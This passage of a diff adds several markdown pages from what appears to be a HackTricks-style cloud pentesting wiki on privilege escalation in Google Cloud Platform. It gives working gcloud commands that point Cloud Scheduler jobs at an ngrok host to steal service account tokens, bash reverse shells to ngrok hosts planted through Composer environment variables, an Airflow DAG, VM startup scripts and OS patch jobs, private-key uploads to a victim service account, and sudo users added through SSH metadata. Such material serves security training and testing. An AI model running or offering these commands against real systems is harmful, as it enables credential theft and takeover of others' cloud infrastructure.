When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the cloud function continue working. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **just modifying the stored image isn't possible to compromise the Cloud Function**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
# GCP - Cloudidentity Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloudidentity
|
||||
|
||||
For more information about the cloudidentity service, check this page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Add yourself to a group
|
||||
|
||||
If your user has enough permissions or the group is misconfigured, he might be able to make himself a member of a new group:
|
||||
|
||||
```bash
|
||||
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
|
||||
# If --roles isn't specified you will get MEMBER
|
||||
```
|
||||
|
||||
### Modify group membership
|
||||
|
||||
If your user has enough permissions or the group is misconfigured, he might be able to make himself OWNER of a group he is a member of:
|
||||
|
||||
```bash
|
||||
# Check the current membership level
|
||||
gcloud identity groups memberships describe --member-email <email> --group-email <email>
|
||||
|
||||
# If not OWNER try
|
||||
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
# GCP - Cloud Scheduler Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Scheduler
|
||||
|
||||
More information in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-scheduler-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
An attacker with these permissions could exploit **Cloud Scheduler** to **authenticate cron jobs as a specific Service Account**. By crafting an HTTP POST request, the attacker schedules actions, like creating a Storage bucket, to execute under the Service Account's identity. This method leverages the **Scheduler's ability to target `*.googleapis.com` endpoints and authenticate requests**, allowing the attacker to manipulate Google API endpoints directly using a simple `gcloud` command.
|
||||
|
||||
- **Contact any google API via`googleapis.com` with OAuth token header**
|
||||
|
||||
Create a new Storage bucket:
|
||||
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
|
||||
```
|
||||
|
||||
To escalate privileges, an **attacker merely crafts an HTTP request targeting the desired API, impersonating the specified Service Account**
|
||||
|
||||
- **Exfiltrate OIDC service account token**
|
||||
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
|
||||
If you need to check the HTTP response you might just t**ake a look at the logs of the execution**.
|
||||
|
||||
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
Like in the previous scenario it's possible to **update an already created scheduler** to steal the token or perform actions. For example:
|
||||
|
||||
```bash
|
||||
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
|
||||
Another example to upload a private key to a SA and impersonate it:
|
||||
|
||||
```bash
|
||||
# Generate local private key
|
||||
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
|
||||
-keyout /tmp/private_key.pem \
|
||||
-out /tmp/public_key.pem \
|
||||
-subj "/CN=unused"
|
||||
|
||||
# Remove last new line character of the public key
|
||||
file_size=$(wc -c < /tmp/public_key.pem)
|
||||
new_size=$((file_size - 1))
|
||||
truncate -s $new_size /tmp/public_key.pem
|
||||
|
||||
# Update scheduler to upload the key to a SA
|
||||
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
|
||||
gcloud scheduler jobs update http scheduler_lab_1 \
|
||||
--schedule='* * * * *' \
|
||||
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
|
||||
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
|
||||
--update-headers "Content-Type=application/json" \
|
||||
--location us-central1 \
|
||||
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com
|
||||
|
||||
# Wait 1 min
|
||||
sleep 60
|
||||
|
||||
# Check the logs to check it worked
|
||||
gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
|
||||
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project <project-id> --format=json
|
||||
|
||||
## If any '"status": 200' it means it worked!
|
||||
## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400
|
||||
|
||||
# Build the json to contact the SA
|
||||
## Get privatekey in json format
|
||||
file_content=$(<"/tmp/private_key.pem")
|
||||
private_key_json=$(jq -Rn --arg str "$file_content" '$str')
|
||||
|
||||
## Get ID of the generated key
|
||||
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com
|
||||
|
||||
# Create the json in a file
|
||||
## NOTE that you need to export your project-id in the env var PROJECT_ID
|
||||
## and that this script is expecting the key ID to be the first one (check the `head`)
|
||||
export PROJECT_ID=...
|
||||
cat > /tmp/lab.json <<EOF
|
||||
{
|
||||
"type": "service_account",
|
||||
"project_id": "$PROJECT_ID",
|
||||
"private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
|
||||
"private_key": $private_key_json,
|
||||
"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
|
||||
"client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
|
||||
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
|
||||
"token_uri": "https://oauth2.googleapis.com/token",
|
||||
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
|
||||
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
|
||||
"universe_domain": "googleapis.com"
|
||||
}
|
||||
EOF
|
||||
|
||||
# Activate the generated key
|
||||
gcloud auth activate-service-account --key-file=/tmp/lab.json
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,125 @@
|
||||
# GCP - Composer Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## composer
|
||||
|
||||
More info in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-composer-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `composer.environments.create`
|
||||
|
||||
It's possible to **attach any service account** to the newly create composer environment with that permission. Later you could execute code inside composer to steal the service account token.
|
||||
|
||||
```bash
|
||||
gcloud composer environments create privesc-test \
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
```
|
||||
|
||||
More info about the exploitation [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
|
||||
### `composer.environments.update`
|
||||
|
||||
It's possible to update composer environment, for example, modifying env variables:
|
||||
|
||||
```bash
|
||||
# Even if it says you don't have enough permissions the update happens
|
||||
gcloud composer environments update \
|
||||
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
|
||||
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
|
||||
--location <location> \
|
||||
--project <project-id>
|
||||
|
||||
# Call the API endpoint directly
|
||||
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
|
||||
Host: composer.googleapis.com
|
||||
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept: application/json
|
||||
Content-Length: 178
|
||||
Content-Type: application/json
|
||||
X-Goog-Api-Client: cred-type/sa
|
||||
Authorization: Bearer [token]
|
||||
X-Allowed-Locations: 0x0
|
||||
|
||||
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
|
||||
```
|
||||
|
||||
TODO: Get RCE by adding new pypi packages to the environment
|
||||
|
||||
### Download Dags
|
||||
|
||||
Check the source code of the dags being executed:
|
||||
|
||||
```bash
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
```
|
||||
|
||||
### Import Dags
|
||||
|
||||
Add the python DAG code into a file and import it running:
|
||||
|
||||
```bash
|
||||
# TODO: Create dag to get a rev shell
|
||||
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
|
||||
```
|
||||
|
||||
Reverse shell DAG:
|
||||
|
||||
```python:reverse_shell.py
|
||||
import airflow
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash_operator import BashOperator
|
||||
from datetime import timedelta
|
||||
|
||||
default_args = {
|
||||
'start_date': airflow.utils.dates.days_ago(0),
|
||||
'retries': 1,
|
||||
'retry_delay': timedelta(minutes=5)
|
||||
}
|
||||
|
||||
dag = DAG(
|
||||
'reverse_shell',
|
||||
default_args=default_args,
|
||||
description='liveness monitoring dag',
|
||||
schedule_interval='*/10 * * * *',
|
||||
max_active_runs=1,
|
||||
catchup=False,
|
||||
dagrun_timeout=timedelta(minutes=10),
|
||||
)
|
||||
|
||||
# priority_weight has type int in Airflow DB, uses the maximum.
|
||||
t1 = BashOperator(
|
||||
task_id='bash_rev',
|
||||
bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',
|
||||
dag=dag,
|
||||
depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
```
|
||||
|
||||
### Write Access to the Composer bucket
|
||||
|
||||
All the components of a composer environments (DAGs, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
|
||||
|
||||
Get more info about this attack in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Import Plugins
|
||||
|
||||
TODO: Check what is possible to compromise by uploading plugins
|
||||
|
||||
### Import Data
|
||||
|
||||
TODO: Check what is possible to compromise by uploading data
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+148
@@ -0,0 +1,148 @@
|
||||
# GCP - Compute Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Compute
|
||||
|
||||
For more information about Compute and VPC (netowork) in GCP check:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's **needed that you have `actAs` permissions over the SA attached to the instance**, even if the SA is already attached!
|
||||
|
||||
### `compute.projects.setCommonInstanceMetadata`
|
||||
|
||||
With that permission you can **modify** the **metadata** information of an **instance** and change the **authorized keys of a user**, or **create** a **new user with sudo** permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.\
|
||||
Limitations:
|
||||
|
||||
- Note that GCP Service Accounts running in VM instances by default have a **very limited scope**
|
||||
- You will need to be **able to contact the SSH** server to login
|
||||
|
||||
For more information about how to exploit this permission check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-add-custom-ssh-metadata.md
|
||||
{{#endref}}
|
||||
|
||||
You could aslo perform this attack by adding new startup-script and rebooting the instance:
|
||||
|
||||
```bash
|
||||
gcloud compute instances add-metadata my-vm-instance \
|
||||
--metadata startup-script='#!/bin/bash
|
||||
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
|
||||
|
||||
gcloud compute instances reset my-vm-instance
|
||||
```
|
||||
|
||||
### `compute.instances.setMetadata`
|
||||
|
||||
This permission gives the **same privileges as the previous permission** but over a specific instances instead to a whole project. The **same exploits and limitations as for the previous section applies**.
|
||||
|
||||
### `compute.instances.setIamPolicy`
|
||||
|
||||
This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them. Here is an example adding `roles/compute.admin` to a Service Account:
|
||||
|
||||
```bash
|
||||
export SERVER_SERVICE_ACCOUNT=YOUR_SA
|
||||
export INSTANCE=YOUR_INSTANCE
|
||||
export ZONE=YOUR_INSTANCE_ZONE
|
||||
|
||||
cat <<EOF > policy.json
|
||||
bindings:
|
||||
- members:
|
||||
- serviceAccount:$SERVER_SERVICE_ACCOUNT
|
||||
role: roles/compute.admin
|
||||
version: 1
|
||||
EOF
|
||||
|
||||
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
|
||||
```
|
||||
|
||||
### **`compute.instances.osLogin`**
|
||||
|
||||
If **OSLogin is enabled in the instance**, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You **won't have root privs** inside the instance.
|
||||
|
||||
> [!TIP]
|
||||
> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
|
||||
|
||||
### **`compute.instances.osAdminLogin`**
|
||||
|
||||
If **OSLogin is enabled in the instanc**e, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have **root privs** inside the instance.
|
||||
|
||||
> [!TIP]
|
||||
> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
|
||||
|
||||
### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`
|
||||
|
||||
It's possible to **create a virtual machine with an assigned Service Account and steal the token** of the service account accessing the metadata to escalate privileges to it.
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py).
|
||||
|
||||
### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec`
|
||||
|
||||
If you have the **`osconfig.patchDeployments.create`** or **`osconfig.patchJobs.exec`** permissions you can create a [**patch job or deployment**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching). This will enable you to move laterally in the environment and gain code execution on all the compute instances within a project.
|
||||
|
||||
Note that at the moment you **don't need `actAs` permission** over the SA attached to the instance.
|
||||
|
||||
If you want to manually exploit this you will need to create either a [**patch job**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **or** [**deployment**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
|
||||
For a patch job run:
|
||||
|
||||
```python
|
||||
cat > /tmp/patch-job.sh <<EOF
|
||||
#!/bin/bash
|
||||
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
|
||||
EOF
|
||||
|
||||
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
|
||||
|
||||
# Get the generation number
|
||||
gsutil ls -a gs://readable-bucket-by-sa-in-instance
|
||||
|
||||
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
|
||||
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
|
||||
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
|
||||
--reboot-config=never \
|
||||
--display-name="Managed Security Update" \
|
||||
--duration=300s
|
||||
```
|
||||
|
||||
To deploy a patch deployment:
|
||||
|
||||
```bash
|
||||
gcloud compute os-config patch-deployments create <name> ...
|
||||
```
|
||||
|
||||
The tool [patchy](https://github.com/rek7/patchy) could been used in the past for exploiting this misconfiguration (but now it's not working).
|
||||
|
||||
**An attacker could also abuse this for persistence.**
|
||||
|
||||
### `compute.machineImages.setIamPolicy`
|
||||
|
||||
**Grant yourself extra permissions** to compute Image.
|
||||
|
||||
### `compute.snapshots.setIamPolicy`
|
||||
|
||||
**Grant yourself extra permissions** to a disk snapshot.
|
||||
|
||||
### `compute.disks.setIamPolicy`
|
||||
|
||||
**Grant yourself extra permissions** to a disk.
|
||||
|
||||
### Bypass Access Scopes
|
||||
|
||||
Following this link you find some [**ideas to try to bypass access scopes**](../).
|
||||
|
||||
### Local Privilege Escalation in GCP Compute instance
|
||||
|
||||
{{#ref}}
|
||||
../gcp-local-privilege-escalation-ssh-pivoting.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+100
@@ -0,0 +1,100 @@
|
||||
# GCP - Add Custom SSH Metadata
|
||||
|
||||
## GCP - Add Custom SSH Metadata
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Modifying the metadata <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
|
||||
|
||||
Metadata modification on an instance could lead to **significant security risks if an attacker gains the necessary permissions**.
|
||||
|
||||
#### **Incorporation of SSH Keys into Custom Metadata**
|
||||
|
||||
On GCP, **Linux systems** often execute scripts from the [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). A critical component of this is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which is designed to **regularly check** the instance metadata endpoint for **updates to the authorized SSH public keys**.
|
||||
|
||||
Therefore, if an attacker can modify custom metadata, he could make the the daemon find a new public key, which will processed and **integrated into the local system**. The key will be added into `~/.ssh/authorized_keys` file of an **existing user or potentially creating a new user with `sudo` privileges**, depending on the key's format. And the attacker will be able to compromise the host.
|
||||
|
||||
#### **Add SSH key to existing privileged user**
|
||||
|
||||
1. **Examine Existing SSH Keys on the Instance:**
|
||||
|
||||
- Execute the command to describe the instance and its metadata to locate existing SSH keys. The relevant section in the output will be under `metadata`, specifically the `ssh-keys` key.
|
||||
|
||||
```bash
|
||||
gcloud compute instances describe [INSTANCE] --zone [ZONE]
|
||||
```
|
||||
|
||||
- Pay attention to the format of the SSH keys: the username precedes the key, separated by a colon.
|
||||
|
||||
2. **Prepare a Text File for SSH Key Metadata:**
|
||||
- Save the details of usernames and their corresponding SSH keys into a text file named `meta.txt`. This is essential for preserving the existing keys while adding new ones.
|
||||
3. **Generate a New SSH Key for the Target User (`alice` in this example):**
|
||||
|
||||
- Use the `ssh-keygen` command to generate a new SSH key, ensuring that the comment field (`-C`) matches the target username.
|
||||
|
||||
```bash
|
||||
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
|
||||
```
|
||||
|
||||
- Add the new public key to `meta.txt`, mimicking the format found in the instance's metadata.
|
||||
|
||||
4. **Update the Instance's SSH Key Metadata:**
|
||||
|
||||
- Apply the updated SSH key metadata to the instance using the `gcloud compute instances add-metadata` command.
|
||||
|
||||
```bash
|
||||
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
|
||||
```
|
||||
|
||||
5. **Access the Instance Using the New SSH Key:**
|
||||
|
||||
- Connect to the instance with SSH using the new key, accessing the shell in the context of the target user (`alice` in this example).
|
||||
|
||||
```bash
|
||||
ssh -i ./key alice@localhost
|
||||
sudo id
|
||||
```
|
||||
|
||||
#### **Create a new privileged user and add a SSH key**
|
||||
|
||||
If no interesting user is found, it's possible to create a new one which will be given `sudo` privileges:
|
||||
|
||||
```bash
|
||||
# define the new account username
|
||||
NEWUSER="definitelynotahacker"
|
||||
|
||||
# create a key
|
||||
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
|
||||
|
||||
# create the input meta file
|
||||
NEWKEY="$(cat ./key.pub)"
|
||||
echo "$NEWUSER:$NEWKEY" > ./meta.txt
|
||||
|
||||
# update the instance metadata
|
||||
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
|
||||
|
||||
# ssh to the new account
|
||||
ssh -i ./key "$NEWUSER"@localhost
|
||||
```
|
||||
|
||||
#### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
|
||||
|
||||
It's possible to broaden the reach of SSH access to multiple Virtual Machines (VMs) in a cloud environment by **applying SSH keys at the project level**. This approach allows SSH access to any instance within the project that hasn't explicitly blocked project-wide SSH keys. Here's a summarized guide:
|
||||
|
||||
1. **Apply SSH Keys at the Project Level:**
|
||||
|
||||
- Use the `gcloud compute project-info add-metadata` command to add SSH keys from `meta.txt` to the project's metadata. This action ensures that the SSH keys are recognized across all VMs in the project, unless a VM has the "Block project-wide SSH keys" option enabled.
|
||||
|
||||
```bash
|
||||
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
|
||||
```
|
||||
|
||||
2. **SSH into Instances Using Project-Wide Keys:**
|
||||
- With project-wide SSH keys in place, you can SSH into any instance within the project. Instances that do not block project-wide keys will accept the SSH key, granting access.
|
||||
- A direct method to SSH into an instance is using the `gcloud compute ssh [INSTANCE]` command. This command uses your current username and the SSH keys set at the project level to attempt access.
|
||||
|
||||
## References
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,91 @@
|
||||
# GCP - Container Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## container
|
||||
|
||||
### `container.clusters.get`
|
||||
|
||||
This permission allows to **gather credentials for the Kubernetes cluster** using something like:
|
||||
|
||||
```bash
|
||||
gcloud container clusters get-credentials <cluster_name> --zone <zone>
|
||||
```
|
||||
|
||||
Without extra permissions, the credentials are pretty basic as you can **just list some resource**, but hey are useful to find miss-configurations in the environment.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **kubernetes clusters might be configured to be private**, that will disallow that access to the Kube-API server from the Internet.
|
||||
|
||||
If you don't have this permission you can still access the cluster, but you need to **create your own kubectl config file** with the clusters info. A new generated one looks like this:
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVMRENDQXBTZ0F3SUJBZ0lRRzNaQmJTSVlzeVRPR1FYODRyNDF3REFOQmdrcWhraUc5dzBCQVFzRkFEQXYKTVMwd0t3WURWUVFERXlRMk9UQXhZVEZoWlMweE56ZGxMVFF5TkdZdE9HVmhOaTAzWVdFM01qVmhNR05tTkdFdwpJQmNOTWpJeE1qQTBNakl4T1RJMFdoZ1BNakExTWpFeE1qWXlNekU1TWpSYU1DOHhMVEFyQmdOVkJBTVRKRFk1Ck1ERmhNV0ZsTFRFM04yVXROREkwWmkwNFpXRTJMVGRoWVRjeU5XRXdZMlkwWVRDQ0FhSXdEUVlKS29aSWh2Y04KQVFFQkJRQURnZ0dQQURDQ0FZb0NnZ0dCQU00TWhGemJ3Y3VEQXhiNGt5WndrNEdGNXRHaTZmb0pydExUWkI4Rgo5TDM4a2V2SUVWTHpqVmtoSklpNllnSHg4SytBUHl4RHJQaEhXMk5PczFNMmpyUXJLSHV6M0dXUEtRUmtUWElRClBoMy9MMDVtbURwRGxQK3hKdzI2SFFqdkE2Zy84MFNLakZjRXdKRVhZbkNMMy8yaFBFMzdxN3hZbktwTWdKVWYKVnoxOVhwNEhvbURvOEhUN2JXUTJKWTVESVZPTWNpbDhkdDZQd3FUYmlLNjJoQzNRTHozNzNIbFZxaiszNy90RgpmMmVwUUdFOG90a0VVOFlHQ3FsRTdzaVllWEFqbUQ4bFZENVc5dk1RNXJ0TW8vRHBTVGNxRVZUSzJQWk1rc0hyCmMwbGVPTS9LeXhnaS93TlBRdW5oQ2hnRUJIZTVzRmNxdmRLQ1pmUFovZVI1Qk0vc0w1WFNmTE9sWWJLa2xFL1YKNFBLNHRMVmpiYVg1VU9zMUZIVXMrL3IyL1BKQ2hJTkRaVTV2VjU0L1c5NWk4RnJZaUpEYUVGN0pveXJvUGNuMwpmTmNjQ2x1eGpOY1NsZ01ISGZKRzZqb0FXLzB0b2U3ek05RHlQOFh3NW44Zm5lQm5aVTFnYXNKREZIYVlZbXpGCitoQzFETmVaWXNibWNxOGVPVG9LOFBKRjZ3SURBUUFCbzBJd1FEQU9CZ05WSFE4QkFmOEVCQU1DQWdRd0R3WUQKVlIwVEFRSC9CQVV3QXdFQi96QWRCZ05WSFE0RUZnUVU5UkhvQXlxY3RWSDVIcmhQZ1BjYzF6Sm9kWFV3RFFZSgpLb1pJaHZjTkFRRUxCUUFEZ2dHQkFLbnp3VEx0QlJBVE1KRVB4TlBNbmU2UUNqZDJZTDgxcC9oeVc1eWpYb2w5CllkMTRRNFVlVUJJVXI0QmJadzl0LzRBQ3ZlYUttVENaRCswZ2wyNXVzNzB3VlFvZCtleVhEK2I1RFBwUUR3Z1gKbkJLcFFCY1NEMkpvZ29tT3M3U1lPdWVQUHNrODVvdWEwREpXLytQRkY1WU5ublc3Z1VLT2hNZEtKcnhuYUVGZAprVVl1TVdPT0d4U29qVndmNUsyOVNCbGJ5YXhDNS9tOWkxSUtXV2piWnZPN0s4TTlYLytkcDVSMVJobDZOSVNqCi91SmQ3TDF2R0crSjNlSjZneGs4U2g2L28yRnhxZWFNdDladWw4MFk4STBZaGxXVmlnSFMwZmVBUU1NSzUrNzkKNmozOWtTZHFBYlhPaUVOMzduOWp2dVlNN1ZvQzlNUk1oYUNyQVNhR2ZqWEhtQThCdlIyQW5iQThTVGpQKzlSMQp6VWRpK3dsZ0V4bnFvVFpBcUVHRktuUTlQcjZDaDYvR0xWWStqYXhuR3lyUHFPYlpNZTVXUDFOUGs4NkxHSlhCCjc1elFvanEyRUpxanBNSjgxT0gzSkxOeXRTdmt4UDFwYklxTzV4QUV0OWxRMjh4N28vbnRuaWh1WmR6M0lCRU8KODdjMDdPRGxYNUJQd0hIdzZtKzZjUT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
|
||||
server: https://34.123.141.28
|
||||
name: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
contexts:
|
||||
- context:
|
||||
cluster: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
user: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
name: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
current-context: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
user:
|
||||
auth-provider:
|
||||
config:
|
||||
access-token: <access token>
|
||||
cmd-args: config config-helper --format=json
|
||||
cmd-path: gcloud
|
||||
expiry: "2022-12-06T01:13:11Z"
|
||||
expiry-key: "{.credential.token_expiry}"
|
||||
token-key: "{.credential.access_token}"
|
||||
name: gcp
|
||||
```
|
||||
|
||||
### `container.roles.escalate` | `container.clusterRoles.escalate`
|
||||
|
||||
**Kubernetes** by default **prevents** principals from being able to **create** or **update** **Roles** and **ClusterRoles** with **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update Roles/ClusterRoles with more permissions** that ones he held, effectively bypassing the Kubernetes protection against this behaviour.
|
||||
|
||||
